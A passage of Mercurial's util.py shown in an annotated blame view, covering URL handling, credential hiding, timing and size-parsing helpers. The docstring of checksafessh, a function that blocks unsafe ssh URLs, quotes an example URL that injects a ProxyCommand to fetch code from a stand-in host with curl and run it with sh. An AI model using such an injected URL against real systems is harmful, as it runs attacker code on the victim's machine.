2941 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2942 if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2943 s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2944 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2945 if not (self.host.startswith('[') and self.host.endswith(']')):
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2946 s += urlreq.quote(self.host)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2947 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2948 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2949 if self.port:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2950 s += ':' + urlreq.quote(self.port)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2951 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2952 s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2953 if self.path:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2954 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2955 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2956 # which we should *not* escape.
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2957 s += urlreq.quote(self.path, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2958 if self.query:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2959 # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2960 s += '?' + self.query
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2961 if self.fragment is not None:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2962 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2963 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2964
33038
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
2965 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
2966
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2967 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2968 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2969 try:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2970 self.user, self.passwd = None, None
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
2971 s = bytes(self)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2972 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2973 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2974 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2975 return (s, None)
15028
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2976 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2977 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2978 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2979 # a password.
15024
0f1311e829c9 http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents: 15018
diff changeset
2980 return (s, (None, (s, self.host),
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2981 self.user, self.passwd or ''))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2982
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2983 def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2984 if self.scheme and self.scheme != 'file':
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2985 return True # remote URL
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2986 if hasdriveletter(self.path):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2987 return True # absolute for our purposes - can't be joined()
33108
d9962854a4a2 py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 33106
diff changeset
2988 if self.path.startswith(br'\\'):
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2989 return True # Windows UNC path
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2990 if self.path.startswith('/'):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2991 return True # POSIX-style
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2992 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2993
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2994 def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2995 if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2996 path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2997 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2998 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2999 if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3000 path = self._hostport + '/' + self.path
15496
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
3001 elif (self.host is not None and self.path
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
3002 and not hasdriveletter(path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3003 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3004 return path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3005 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3006
20353
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3007 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3008 '''whether localpath will return something that posixfile can open'''
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3009 return (not self.scheme or self.scheme == 'file'
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3010 or self.scheme == 'bundle')
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3011
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3012 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3013 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3014
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3015 def hasdriveletter(path):
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
3016 return path and path[1:2] == ':' and path[0:1].isalpha()
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3017
14825
de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents: 14766
diff changeset
3018 def urllocalpath(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3019 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3020
33648
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3021 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3022 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3023
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3024 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3025 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3026 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3027 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3028
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3029 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3030 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3031 path = urlreq.unquote(path)
33658
3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents: 33655
diff changeset
3032 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
33648
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3033 raise error.Abort(_('potentially unsafe url: %r') %
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3034 (path,))
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
3035
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3036 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3037 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3038 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3039 if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3040 u.passwd = '***'
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
3041 return bytes(u)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3042
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3043 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3044 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3045 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3046 u.user = u.passwd = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3047 return str(u)
14515
76f295eaed86 util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents: 14313
diff changeset
3048
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3049 timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3050 (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3051 (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3052 (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3053 (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3054 (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3055 (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3056 (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3057 (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3058 (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3059 (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3060 (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3061 (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3062 (1, 0.000000001, _('%.3f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3063 )
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3064
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3065 _timenesting = [0]
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3066
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3067 def timed(func):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3068 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3069
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3070 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3071 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3072
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3073 @util.timed
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3074 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3075 pass
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3076 '''
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3077
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3078 def wrapper(*args, **kwargs):
30995
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30994
diff changeset
3079 start = timer()
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3080 indent = 2
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3081 _timenesting[0] += indent
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3082 try:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3083 return func(*args, **kwargs)
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3084 finally:
30995
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30994
diff changeset
3085 elapsed = timer() - start
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3086 _timenesting[0] -= indent
30482
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
3087 stderr.write('%s%s: %s\n' %
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
3088 (' ' * _timenesting[0], func.__name__,
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
3089 timecount(elapsed)))
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3090 return wrapper
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3091
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3092 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3093 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3094
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3095 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3096 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3097
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
3098 >>> sizetoint(b'30')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3099 30
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
3100 >>> sizetoint(b'2.2kb')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3101 2252
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
3102 >>> sizetoint(b'6M')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3103 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3104 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3105 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3106 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3107 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3108 if t.endswith(k):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3109 return int(float(t[:-len(k)]) * u)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3110 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3111 except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3112 raise error.ParseError(_("couldn't parse size: %s") % s)
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3113
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3114 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3115 '''A collection of hook functions that can be used to extend a
26098
ce26928cbe41 spelling: behaviour -> behavior
timeless@mozdev.org
parents: 25672
diff changeset
3116 function's behavior. Hooks are called in lexicographic order,
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3117 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3118
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3119 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3120 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3121
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3122 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3123 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3124
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3125 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3126 self._hooks.sort(key=lambda x: x[0])
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3127 results = []
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3128 for source, hook in self._hooks:
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3129 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3130 return results
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3131
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3132 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3133 '''Yields lines for a nicely formatted stacktrace.
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
3134 Skips the 'skip' last entries, then return the last 'depth' entries.
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3135 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3136 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
